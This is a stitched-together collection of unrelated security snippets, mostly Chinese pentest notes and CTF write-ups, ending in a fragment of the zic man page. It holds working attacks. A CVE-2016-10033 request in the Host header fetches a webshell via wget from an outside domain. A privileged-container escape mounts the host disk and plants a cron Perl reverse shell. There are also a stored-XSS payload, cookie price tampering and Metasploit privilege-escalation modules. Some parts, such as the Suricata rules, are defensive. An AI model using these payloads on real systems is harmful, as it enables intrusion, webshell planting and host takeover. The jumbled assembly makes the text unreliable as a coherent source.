[*] Listing stats:
User Dr. Amy Farrah Fowler (NON-VIP) has 6300 coins. Account value: 7300.
Average value per: color (total 23) - 317.39, stripe (total 29) - 251.72, star (total 6) - 1216.67.
Owned flags:
Suriname - The smallest South American country (price: 100)
Togo - Has French as the official language (price: 100)
Azerbaijan - The Land of Fire (price: 100)
Liberia - Has Africa's cleanest cities (price: 200)
Myanmar - Formerly known as Burma (price: 200)
Philippines - Named after King Philip II of Spain (price: 300)
[*] Trying to sell flag #0
[*] Suriname flag sold!
[*] Trying to sell flag #0
[*] Togo flag sold!
[*] Trying to sell flag #0
[*] Azerbaijan flag sold!
[*] Trying to sell flag #0
[*] Liberia flag sold!
[*] Trying to sell flag #0
[*] Myanmar flag sold!
[*] Trying to sell flag #0
[*] Philippines flag sold!
[*] Listing stats:
User Dr. Amy Farrah Fowler (NON-VIP) has 7300 coins. Account value: 7300.
[*] You have 7300 coins.
[*] Buying flag #6
[*] Russia flag bought!
[*] Listing stats:
Apologies, not all functions are implemented yet!
What would you like to do?
[*] You have 6100 coins.
[*] Buying flag #8
[*] CSA flag bought!
[*] Listing stats:
User Dr. Amy Farrah Fowler (NON-VIP) has 4763 coins. Account value: 7300.
Average value per: color (total 4) - 1825.00, stripe (total 36) - 202.78, star (total 7) - 1042.86.
Owned flags:
Russia - Home to the Hermitage Museum (price: 1200)
CSA - CSA{M4y_Th3Re_ALwaY5_8E_A_ST4R_0n_y0UR_fL4G} (price: 1337)
[*] Closed connection to fun-with-flags.csa-challenge.com port 6666
```
|
sec-knowleage
|
# T1190-CVE-2016-10033-PHPMailer<5.2.18远程代码执行
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
影响版本:WordPress <= 4.7.1 PHPMailer < 5.2.18
## 检测日志
HTTP
## 测试复现
具体测试过程请参考:<https://cloud.tencent.com/developer/article/1043654>
```yml
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}www.mzxh.xyz${substr{0}{1}{$spool_directory}}tools${substr{0}{1}{$spool_directory}}shell.php}} null)
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.17.41.103:44397
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.17.41.103:44397/wp-login.php?action=lostpassword
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
user_login=admin&redirect_to=&wp-submit=Get+New+Password
HTTP/1.1 302 Found
Date: Wed, 05 Aug 2020 07:59:44 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.21
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/
X-Frame-Options: SAMEORIGIN
Location: wp-login.php?checkemail=confirm
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
```
## 检测规则/思路
### Suricata规则
```s
alert http any any -> any any (msg:"CVE-2016-10033-rqs";flow:established,to_server;content:"POST";http_method;content:"/wp-login.php?action=lostpassword";http_uri;content:"Get+New+Password";http_client_body;flowbits: set, first_get_rqs; noalert;reference:url,cloud.tencent.com/developer/article/1043654;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2016-10033-PHPMailer<5.2.18远程代码执行漏洞";flow:established;content:"302";http_stat_code;flowbits:isset,first_get_rqs;reference:url,cloud.tencent.com/developer/article/1043654;classtype:web-application-attck;sid:2;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
WordPress 4.6远程代码执行漏洞(CVE-2016-10033)复现环境搭建指南
<https://cloud.tencent.com/developer/article/1043654>
WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)复现分析
<http://www.52bug.cn/hkjs/5133.html>
|
sec-knowleage
|
## Flash (forensics, 100p, 809 solves)
`We were able to grab an image of a hard drive. Time to find out what's on it.`.
### PL Version
`for ENG version scroll down`
Dostajemy 128MB obraz dysku.
Nie myśleliśmy nawet o tym, żeby go montować, bo spodziewaliśmy się pustego dysku (pisząc writeup pokusiliśmy się o to i się nieźle zdziwilismy ). Pierwszą rzeczą jaka przyszła nam do głowy był `photorec`, który nie znalazł nic ciekawego, dlatego wykonalismy `strings flash_c8429a430278283c0e571baebca3d139.img | grep flag`.
Dostajemy flagę `flag{b3l0w_th3_r4dar}`.
### ENG Version
128MB disk image was provided.
We were expecting it to be completly empty, so we didn't even bother mounting it (we actually tried that while writing this writeup and it turned out there were a lot of text files, which was a great suprise). So according to the standard procedure, we tried using `photorec`,
but it did not find any images, so we executed `strings flash_c8429a430278283c0e571baebca3d139.img | grep flag`.
The last line of grep output was: `flag{b3l0w_th3_r4dar}`.
|
sec-knowleage
|
在办公区的内网中,充斥着大量的 ftp 文件服务器。其中不乏有部分敏感文件,也许有你需要的密码文件,也许有任务中的目标文件等。本季从讲述内网ftp服务器的发现以及常用的相关模块。
**靶机介绍:**
* 靶机一:Windows 2003 | 192.168.1.115
* 靶机二:Debian | 192.168.1.5
msf 内置 search 模块,在实战中,为了更快速的找到对应模块,它提供了 type 参数(未来会具体讲到模块参数),以 ftp 模块为例。
```bash
msf > search type:auxiliary ftp
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/cisco/vpn_3000_ftp_bypass 2006-08-23 normal Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access
auxiliary/admin/officescan/tmlisten_traversal normal TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access
auxiliary/admin/tftp/tftp_transfer_util normal TFTP File Transfer Utility
auxiliary/dos/scada/d20_tftp_overflow 2012-01-19 normal General Electric D20ME TFTP Server Buffer Overflow DoS
auxiliary/dos/windows/ftp/filezilla_admin_user 2005-11-07 normal FileZilla FTP Server Admin Interface Denial of Service
......
```

### auxiliary/scanner/ftp/ftp_version

### auxiliary/scanner/ftp/ftp_login

### auxiliary/scanner/ftp/anonymous

当然 msf 也内置了 nmap,来内网大量发现 FTP 存活主机,参数与使用与 nmap 一致。
```bash
msf auxiliary(scanner/ftp/anonymous) > db_nmap -sS -T4 -p21 192.168.1.115
```

msf 更多针对了 ftpd。

### ftp本地模糊测试辅助模块:

### auxiliary/fuzzers/ftp/ftp_pre_post

关于 ftp 的本地 fuzzer,更推荐的是本地fuzz,msf 做辅助 poc。


关于后期利用,poc编写,在未来的季中会继续讲述。
> Micropoor
|
sec-knowleage
|
# CVE-2021-36873
## Description
Authenticated Persistent Cross-Site Scripting (XSS) vulnerability in WordPress iQ Block Country plugin (versions <= 1.2.11). Vulnerable parameter: `&blockcountry_blockmessage`.
## CVSS (Vector and Score)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N - 5.5 MEDIUM
## Affected Application
WordPress iQ Block Country plugin
## Affected Version
<= 1.2.11
## Total Installation
30,000+
## Steps to Reproduce
1. Login as administrator
2. Go to http://localhost/wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php
3. Find `Message to display when people are blocked:` form
4. Input `</textarea><script>alert(1)</script>`
5. Scroll down and press `Save Changes` button
## Proof of Concept
- Video
> https://youtu.be/WtOiHY5R-t0
- Image
|
sec-knowleage
|
# pwning math
Category: Beginners
## Description
> Sometimes you would want to write a script which connects to a server and interacts with it instead of interacting by youself. There are some ways to do so, we recommend using pwntools. pwntools is a framework designed specificially for exploit development.
>
> It contains two libraries, one called pwn designed for CTFs and as such contains tools optimized for that and pwnlib which is a cleaner version of pwn designed as a normal library.
>
> pwntools is really great for developing payload and exploiting binaries but I personally use its pwnlib.tubes module more which allows for generic high-level interaction with a binary or a server in a simpler way then most libraries allow.
>
> For the documentation on the module click here and for a quick tutorial click here.
>
> Now, after you know a bit about pwntools, go ahead and 'pwn' this service:
>
> nc ctf.cs.technion.ac.il 4011
>
## Solution
Let's connect to the attached service:
```console
root@kali:/media/sf_CTFs/technion/pwning_math# nc ctf.cs.technion.ac.il 4011
What is 24 + 298?
>
Too Slow!
```
The service asks us to solve a simple math question and almost immediately closes. We must answer fast - using a script.
The following script uses `pwntools` to read the math equation, evaluate it and send the response:
```python
from pwn import *
import re
r = remote("ctf.cs.technion.ac.il", 4011)
math_exp_regex = re.compile(r"^What is (\d+ [+\-*/] \d+)*\?$");
while(True):
output = r.recvline().decode("ascii")
if match := math_exp_regex.match(output):
question = match.group(1)
answer = str(int(eval(question)))
log.info(f"Question: {question}, answer: {answer}")
r.sendlineafter("> ", answer)
elif "cstechnion" in output:
print(output)
break
else:
raise Exception(f"Unrecognized output: {output}")
```
Output:
```console
root@kali:/media/sf_CTFs/technion/pwning_math# python3 solve.py
[+] Opening connection to ctf.cs.technion.ac.il on port 4011: Done
[*] Question: 243 * 450, answer: 109350
[*] Question: 438 + 363, answer: 801
[*] Question: 158 * 443, answer: 69994
[*] Question: 263 * 93, answer: 24459
[*] Question: 500 - 137, answer: 363
[*] Question: 672 - 277, answer: 395
[*] Question: 53946 / 111, answer: 486
[*] Question: 4 * 336, answer: 1344
[*] Question: 347 - 288, answer: 59
[*] Question: 160 * 218, answer: 34880
[*] Question: 17542 * 34055, answer: 597392810
[*] Question: 64498 - 35197, answer: 29301
[*] Question: 17288 - 6468, answer: 10820
[*] Question: 19044 + 28260, answer: 47304
[*] Question: 43033 + 18296, answer: 61329
[*] Question: 43582 * 33964, answer: 1480219048
[*] Question: 28572 - 4602, answer: 23970
[*] Question: 1936174002 / 39046, answer: 49587
[*] Question: 47068 + 18408, answer: 65476
[*] Question: 9709245 / 21339, answer: 455
[*] Question: 34097 + 39227, answer: 73324
[*] Question: 189712896 / 12777, answer: 14848
[*] Question: 81625 - 49019, answer: 32606
[*] Question: 13856 * 40616, answer: 562775296
[*] Question: 11412 + 45494, answer: 56906
[*] Question: 2580365 - 1261244, answer: 1319121
[*] Question: 170992 + 145124, answer: 316116
[*] Question: 1644495 * 4971760, answer: 8176034461200
[*] Question: 4722778 + 1019102, answer: 5741880
[*] Question: 5803933931328 / 2857296, answer: 2031268
[*] Question: 7006263 - 2472750, answer: 4533513
[*] Question: 4767288 + 3850962, answer: 8618250
[*] Question: 11808135515843 / 3006629, answer: 3927367
[*] Question: 3139125 * 2702480, answer: 8483422530000
[*] Question: 2946449 + 1789288, answer: 4735737
[*] Question: 1807968261960 / 1005060, answer: 1798866
[*] Question: 3372394 + 2809877, answer: 6182271
[*] Question: 7710484 - 4544102, answer: 3166382
[*] Question: 2029523 * 1362585, answer: 2765397596955
[*] Question: 2775925 * 629126, answer: 1746406591550
[*] Question: 5945778 - 1148704, answer: 4797074
[*] Question: 3374613 * 1643383, answer: 5545781635779
[*] Question: 3274444 - 191241, answer: 3083203
[*] Question: 715886923140 / 667620, answer: 1072297
[*] Question: 1874540763826 / 978454, answer: 1915819
[*] Question: 3549899 * 2378035, answer: 8441784068465
[*] Question: 4353738 * 2902369, answer: 12636154205322
[*] Question: 755545 + 4651114, answer: 5406659
[*] Question: 357061 * 2134873, answer: 762279888253
[*] Question: 4796466 - 1628000, answer: 3168466
[*] Question: 124372856269491762 / 322940759, answer: 385125918
[*] Question: 65719380399856602 / 366838734, answer: 179150603
[*] Question: 400511283 + 11148827, answer: 411660110
[*] Question: 399522283 + 278802527, answer: 678324810
[*] Question: 96467649996548328 / 212549368, answer: 453859971
[*] Question: 50124535 * 348943719, answer: 17490641656045665
[*] Question: 624348970 - 323604955, answer: 300744015
[*] Question: 385751938 + 111813584, answer: 497565522
[*] Question: 8517670208831196 / 261639402, answer: 32554998
[*] Question: 161748016 + 306277057, answer: 468025073
[*] Question: 678253810 - 464239808, answer: 214014002
[*] Question: 146416007 - 11670689, answer: 134745318
[*] Question: 471940922 - 210138799, answer: 261802123
[*] Question: 125928545 * 359749688, answer: 45302754774043960
[*] Question: 44300526889646430 / 495042210, answer: 89488383
[*] Question: 9256211 * 101765413, answer: 941962135230143
[*] Question: 507068906 - 191194080, answer: 315874826
[*] Question: 598100424 - 464292348, answer: 133808076
[*] Question: 364192967 + 311081241, answer: 675274208
[*] Question: 192267035 * 286487081, answer: 55082021629674835
[*] Question: 446549737 * 140465358, answer: 62724768672510846
[*] Question: 24997551558705740 / 205113580, answer: 121871753
[*] Question: 363372484 * 241721531, answer: 87834953155753004
[*] Question: 442966159 - 108097397, answer: 334868762
[*] Question: 48885038 + 184534309, answer: 233419347
[*] Question: 290070884 * 305768333, answer: 88694490652516372
[*] Question: 228827833 + 271995057, answer: 500822890
[*] Question: 46820236794134720 / 185381920, answer: 252560966
[*] Question: 36009586677218544 / 113361459, answer: 317652816
[*] Question: 647404722 - 429828252, answer: 217576470
[*] Question: 381579921 - 94107607, answer: 287472314
[*] Question: 168247692 + 422775389, answer: 591023081
[*] Question: 185171143 * 180069090, answer: 33343599214269870
[*] Question: 216103924531702530 / 484775259, answer: 445781670
[*] Question: 143857928284354882 / 435284978, answer: 330491369
[*] Question: 45732222771644435 / 402652315, answer: 113577449
[*] Question: 539448193 - 159572944, answer: 379875249
[*] Question: 261812895 - 127336718, answer: 134476177
[*] Question: 354471468 * 452070282, answer: 160246016499713976
[*] Question: 1895205181438920 / 182469390, answer: 10386428
[*] Question: 471023394 * 24075178, answer: 11339972052714132
[*] Question: 51199528 * 315265242, answer: 16141431585205776
[*] Question: 87953045536470645 / 497158989, answer: 176911305
[*] Question: 282049656 * 486089385, answer: 137101343824501560
[*] Question: 83908207 * 261893065, answer: 21974977509884455
[*] Question: 498827479 - 278710556, answer: 220116923
[*] Question: 82905177 * 383244380, answer: 31772943158155260
[*] Question: 907395970 - 432801555, answer: 474594415
[*] Question: 179437991 * 59509724, answer: 10678305319524484
[*] Question: 314744935 + 158660409, answer: 473405344
Nice! here's your flag: cstechnion{E4t_Sl33p_Pwn_m47H_R3pe47}
```
The flag: `cstechnion{E4t_Sl33p_Pwn_m47H_R3pe47}`
|
sec-knowleage
|
msf 内置关于mysql插件如下(部分非测试mysql 插件)

关于msf常用攻击mysql插件如下:
1. auxiliary/scanner/mysql/mysql_login
2. exploit/multi/mysql/mysql_udf_payload
3. exploit/windows/mysql/mysql_mof
4. exploit/windows/mysql/scrutinizer_upload_exec
5. auxiliary/scanner/mysql/mysql_hashdump
6. auxiliary/admin/mysql/mysql_sql
7. auxiliary/scanner/mysql/mysql_version
以下本地靶机测试:
靶机1:x86 Windows7

靶机2 :
x86 windows 2003 ip:192.168.1.115

### 1、auxiliary/scanner/mysql/mysql_login
常用于内网中的批量以及单主机的登录测试。

### 2、exploit/multi/mysql/mysql_udf_payload
常用于root启动的mysql 并root的udf提权。



### 3、exploit/windows/mysql/mysql_mof
以上类似,提权。

### 4、exploit/windows/mysql/scrutinizer_upload_exec
上传文件执行。

### 5、auxiliary/scanner/mysql/mysql_hashdump
mysql的mysql.user表的hash

而在实战中,mysql_hashdump这个插件相对其他较为少用。一般情况建议使用sql语句:
更直观,更定制化

### 6、auxiliary/admin/mysql/mysql_sql
执行sql语句。尤其是在目标机没有web界面等无法用脚本执行的环境。


### 7、auxiliary/scanner/mysql/mysql_version
常用于内网中的批量mysql主机发现。

> 后者的话:
在内网横向渗透中,需要大量的主机发现来保证渗透的过程。而以上的插件,在内网横向或者mysql主机发现的过程中,尤为重要。
> Micropoor
|
sec-knowleage
|
##RSA (Crypto, 500p)
Now you are one step away from knowing who is that WARRIOR.
The Fighter who will decide the fate of war between the 2 countries.
The Pride of One and Envey of the Other...
You have got the secrete file which has the crucial information to identify the fighter.
But the file is encrypted with a RSA-Private key.
Good news you have its corresponding public key in a file.
Bad news there are 49 other keys.
Whos is the Fighter.
###PL
[ENG](#eng-version)
Dostajemy szyfrowany [plik](warrior.txt) oraz zbiór [kluczy publicznych](all_keys.txt).
Plik został zaszyfrowany przy pomocy klucza prywatnego RSA (dość dziwny pomysł, ale matematycznie zupełnie poprawny) a jeden z kluczy publicznych którymi dysponujemy pasuje do tego klucza prywatnego.
W przypadku RSA parametry kluczy są dobrane tak, aby:
`d*e = 1 mod (totient(n))`
ponieważ dzięki temu
`(x^e)^d mod n = x^ed mod n = m`
Jak nie trudno zauważyć, nie ma więc znaczenia czy jak w klasycznym przypadku mamy:
`ciphertext = plaintext^e mod n`
i dekodujemy go przez podniesienie do potęgi `d` czy też mamy:
`ciphertext = plaintext^d mod n`
i dekoduejmy go przez podniesienie do potęgi `e`.
Uruchamiamy więc prosty skrypt który spróbuje zdekodować plik przy pomocy każdego z kluczy:
```python
import codecs
from Crypto.PublicKey import RSA
from base64 import b64decode
from Crypto.Util.number import long_to_bytes, bytes_to_long
with codecs.open("warrior.txt", "rb") as warrior:
w = warrior.read()
ciphertext = bytes_to_long(w)
print(len(w))
with codecs.open("all_keys.txt") as input_file:
data = input_file.read()
for i, key in enumerate(data.split("-----END PUBLIC KEY-----")):
key = key.replace("\n", "")
key = key.replace("-----BEGIN PUBLIC KEY-----", "")
if key:
keyDER = b64decode(key)
keyPub = RSA.importKey(keyDER)
print(i)
pt = pow(ciphertext, keyPub.key.e, keyPub.key.n)
print("plaitnext: " + long_to_bytes(pt))
```
Jeden z wyników zawiera:
This fighter is a designation for two separate, heavily upgraded derivatives of the Su-35 'Flanker' jet plane.
They are single-seaters designed by Sukhoi(KnAAPO).
Sprawdzamy więc skąd pochodzi cytat i trafiamy na https://en.wikipedia.org/wiki/Sukhoi_Su-35 a flagą jest `Sukhoi Su-35`
###ENG version
We get a encrypted [file](warrior.txt) and set of [public keys](all_keys.txt)
The file was encrypted with RSA private key (unusual, but mathematically correct) and one of the public keys we have is corresponding key to the private key used in encryption.
In case of RSA cipher the key parameters are selected so that:
`d*e = 1 mod (totient(n))`
and therefore:
`(x^e)^d mod n = x^ed mod n = m`
As can be noticed, it doesn't matter if we have the classic example:
`ciphertext = plaintext^e mod n`
and we decode it with raising to power `d`, or if we have:
`ciphertext = plaintext^d mod n`
and decode by raising to power `e`.
So we run a simple script which will decode the file using each of the keys:
```python
import codecs
from Crypto.PublicKey import RSA
from base64 import b64decode
from Crypto.Util.number import long_to_bytes, bytes_to_long
with codecs.open("warrior.txt", "rb") as warrior:
w = warrior.read()
ciphertext = bytes_to_long(w)
print(len(w))
with codecs.open("all_keys.txt") as input_file:
data = input_file.read()
for i, key in enumerate(data.split("-----END PUBLIC KEY-----")):
key = key.replace("\n", "")
key = key.replace("-----BEGIN PUBLIC KEY-----", "")
if key:
keyDER = b64decode(key)
keyPub = RSA.importKey(keyDER)
print(i)
pt = pow(ciphertext, keyPub.key.e, keyPub.key.n)
print("plaitnext: " + long_to_bytes(pt))
```
One of the results contains:
This fighter is a designation for two separate, heavily upgraded derivatives of the Su-35 'Flanker' jet plane.
They are single-seaters designed by Sukhoi(KnAAPO).
We check where did this come from and we find https://en.wikipedia.org/wiki/Sukhoi_Su-35 and the flag is `Sukhoi Su-35`
|
sec-knowleage
|
# Petshop Pro - FLAG0
## 0x00 Index

## 0x01 Shopping Cart

```
cart=%5B%5B1%2C+%7B%22logo%22%3A+%22puppy.jpg%22%2C+%22price%22%3A+7.95%2C+%22name%22%3A+%22Puppy%22%2C+%22desc%22%3A+%228%5C%22x10%5C%22+color+glossy+photograph+of+a+puppy.%22%7D%5D%5D
```
Decoded
```
cart=[[1, {"logo": "puppy.jpg", "price": 7.95, "name": "Puppy", "desc": "8\"x10\" color glossy photograph of a puppy."}]]
```

## 0x02 Change Price to 0
```
cart=%5B%5B1%2C+%7B%22logo%22%3A+%22puppy.jpg%22%2C+%22price%22%3A+0%2C+%22name%22%3A+%22Puppy%22%2C+%22desc%22%3A+%228%5C%22x10%5C%22+color+glossy+photograph+of+a+puppy.%22%7D%5D%5D
```
## 0x03 FLAG

|
sec-knowleage
|
# Zend Common Bugs
## Introduction
What would you do if you came across a website that uses Zend?
## How to Detect
`-`
1. Finding config files
```
https://target.com/application/configs/application.ini
https://target.com/admin/configs/application.ini
```
|
sec-knowleage
|
# 0x00 二次注入
二次注入的原理是sql语句没有被转义直接存入数据库,然后在被读取查询而导致的。
二次注入在php种通常见于,插入时被`addslashes()` `get_magic_quotes_gpc` 等等转义,但是写入数据库时还是使用原来的数据,二次注入造成原因时多种多样的。
在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。
```
mysql> insert into admin (id,name,pass) values ('3',0x61646D696E27313131,'11');
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+----+-----------+-------+
| id | name | pass |
+----+-----------+-------+
| 1 | admin | admin |
| 2 | admin'111 | 11111 |
| 3 | admin'111 | 11 |
+----+-----------+-------+
4 rows in set (0.00 sec)
```
想要具体了解这个 大家可以做做 sqli-labs 24课 ,二次注入在没有源码的情况比较难发现,通常见于注册,
# 0x01 宽字节注入
```
1.没使用宽字节
%27 -> %5C%27
2. 试用宽字节
%df%27 -> %df%5c%27 -> 運'
```
1. 在我们输入单引号时 `addslashes()` 或者`get_magic_quotes_gpc` 给我们的单引号加入了转义字符`\` 就变成了`\'`
2. 我们输入经过转换后由于编码的不同把`%df%5c` 转换为了一个汉字。
想要具体了解找个的可以 做做sqli-labs 33课
# 0x02 文末
#### 本文如有错误,请及时提醒,避免误导他人
* author:404
|
sec-knowleage
|
---
title: Privileged 特权模式容器逃逸
---
<center><h1>Privileged 特权模式容器逃逸</h1></center>
---
## 搭建
例如当前有个普通用户 teamssix,并且是在 docker 用户组内的
<img width="1200" src="/img/1650013515.png">
在普通用户下,使用 --privileged=true 创建一个容器
```bash
docker run --rm --privileged=true -it alpine
```
## 检测
在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
```bash
cat /proc/self/status | grep CapEff
```
## 复现
### 方法一
查看挂载磁盘设备
```plain
fdisk -l
```
<img width="1200" src="/img/1650014398.png">
在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下
```json
mkdir /test && mount /dev/sda1 /test
```
尝试访问宿主机 shadow 文件,可以看到正常访问
```json
cat /test/etc/shadow
```
<img width="1200" src="/img/1650014420.png">
也可以在定时任务中写入反弹 shell
这里的定时任务路径是 Ubuntu 系统路径,不同的系统定时任务路径不一样
```json
echo $'*/1 * * * * perl -e \'use Socket;$i="172.16.214.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root
```
一分钟后,就能收到反弹回来的会话了,而且会话权限是宿主机 root 用户权限。
<img width="1200" src="/img/1650014458.png">
### 方法二
```bash
mount /dev/sda1 /mnt
chroot /mnt adduser john
```
通过新添加的用户登录
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年4月15日"
}
}
</script>
|
sec-knowleage
|
.\" Chinese Version Copyright mhss, www.linuxforum.net, 2000
.TH ZIC 8
.SH NAME
zic - 时区编辑器
.SH 总览
.B zic
[
.B \-v
] [
.B \-d
.I directory
] [
.B \-l
.I localtime
] [
.B \-p
.I posixrules
] [
.B \-L
.I leapsecondfilename
] [
.B \-s
] [
.B \-y
.I command
] [
.I filename
\&... ]
.SH 描述
.if t .ds lq ``
.if t .ds rq ''
.if n .ds lq \&"\"
.if n .ds rq \&"\"
.de q
\\$3\*(lq\\$1\*(rq\\$2
..
.I Zic
从文件中读取文本输入,文件的名字是用命令行指定的;
然后生成时间转换信息文件,此文件由输入指定。
如果
.I 文件名
是
.BR \-
,从
标准输入中读取。
.PP
可得到以下选项:
.TP
.BI "\-d " 目录
在指定的目录中生成时间转换信息文件,而不是下面的标准
的目录名。
.TP
.BI "-l " 时区
用给定的时区作为本地时间。
.I Zic
对此选项的对待如同在输入中有下面格式的连接行
.sp
.ti +.5i
连接 (从) \fI时区\fP (到)本地时间
.TP
.BI "-p " 时区
当处理 POSIX 格式的时区环境变量时,使用给定的时区规则。
.I Zic
对此选项的对待如同在输入中有下面格式的连接行
.sp
.ti +.5i
连接 (从) \fI时区\fP (到)POSIX规则
.TP
.BI "-L " 闰秒文件名
从指定名字的文件中读闰秒信息。
如果不使用本选项,则在输出文件中不出现闰秒信息。
.TP 10
译注: 早期的日期时间度量采用天文方法,GMT (Greenwich Mean
Time,格林威治平均时) 中的 Greenwich 所指称的是英国的一个
天文台。1948年发明了原子钟,当前使用铯133原子钟的国际原子
时间(TAI)与地球的公转和自转无关。由于地球自转的速度逐渐变
慢,为保持与太阳运动的同相, 当 TAI 与太阳时之间的差距达
到 800ms 时,在太阳时中加入闰秒调快太阳时的时间系统。矫正
后的时间称为 UTC 时间(Universal Coordinated Time,世界时)。
PC 机以本机器内的晶振计时, 没有与 UTC 时间同步的机制。UTC
是法语的缩写。
引自:现代操作系统/Andrew S. Tanebaum 著。-北京: 机械工业
出版社,1999.11。第 11 章,第 11.1.2 节;第 5 章,
第 5.4.1 节。
.TP
.B \-v
当出现在数据文件中的年超出了
.IR time (2)
可表示的值的年的范围时提出申诉。
(让用户知道他干不了超出自身能力的事)
.TP
.B \-s
限定在输出文件中存储的时间值无论被作为有符号或无符号
均是同一个值。你能用此选项生成 SVVS 兼容文件。
.TP 8
译注: 传统 UNIX 使用三十二位有符号整数计数器以秒为单位计
时,以1970年1月1日为零起点,在2038年将溢出,负数可表示到
1901年。Linux 使用三十二位无符号整数计数器以秒为单位计时,
以1970年1月1日为零起点,在2106年将溢出。由此决定了时间值
的范围(至少是在 ANSI C 中)。
引自:现代操作系统/Andrew S. Tanebaum 著。-北京: 机械工业
出版社,1999.11。第 5 章,第 5.4.2 节。
.TP
.BI "-y "命令
当检测年的类型时,使用给定的
.I 命令
,而不是
.B yearistype
(见后)
.PP
输入行由字段组成。字段之间以白空格字符(空格或 TAB)分隔。
前导和后挂的白空格将被忽略。在输入中的未加引号的 # 号
表示直到其所在行结束的部分是注释。如果要在字段中使用空白和 # 号,
你要把它们用双引号括起来。任何(去除了注释后的)空行将被
忽略。非空行应是以下三种类型之一: 规则行,时区行,连接行。
.PP
规则行的格式
.nf
.ti +.5i
.ta \w'Rule\0\0'u +\w'NAME\0\0'u +\w'FROM\0\0'u +\w'1973\0\0'u +\w'TYPE\0\0'u +\w'Apr\0\0'u +\w'lastSun\0\0'u +\w'2:00\0\0'u +\w'SAVE\0\0'u
.sp
Rule NAME FROM TO TYPE IN ON AT SAVE LETTER/S
.sp
例如:
.ti +.5i
.sp
Rule US 1967 1973 \- Apr lastSun 2:00 1:00 D
.sp
.fi
组成规则行的字段是:
.TP "\w'LETTER/S'u"
.B "NAME " 名字
给出此条规则所属的规则集的名字,名字可任意起。
.B "FROM " 从...(年)
给出本规则应用的启始年份。提供的年份可以是任何整数;
.B "minimum " 最小
(或其略写)一词的意思是可表示成整数的最小年份。
.B "maximum " 最大
(或其略写)一词的意思是可表示成整数的最大年份。
规则可以描述不能以时间值表示的时间,
但忽略不能以时间值表示的时间,
这允许规则在不同时间值类型的主机之间有可移植性。
.TP
.B "TO "到...(年)
给出本规则应用的终止年份。除了上面的
.B 最大
和
.B 最小
,
.B "only " 唯一
(或其略写)一词的意思是与
.B FROM
字段有相同的值。
.TP
.B "TYPE "类型
给出本规则应用的年份类型。如果
.B TYPE
是
.B \-
,则本规则应用于包含在
.B FROM
和
.B TO
之间的所有年份。如果是其他类型,则
.B Zic
执行下面的命令
.ti +.5i
\fByearistype\fP \fIyear\fP \fItype\fP
.br
来检测某一年的类型: 退出状态 0 表示此年是给定的类型;
退出状态非 0 表示此年不是给定的类型。
.TP
.B "IN "在...(月)
给出本规则有效的月份的名字。月份的名字可用缩写。
.TP
.B "ON "在...(日)
给出本规则有效的日期。可识别的日期的格式包括:
.in +.5i
.sp
.ta \w'Sun<=25\0\0'u
5 一个月的第 5 天
lastSun 一个月的最后的星期天
lastMon 一个月的最后的星期一
Sun>=8 一个月的第 8 天以后(含第 8 天)的第一个星期天
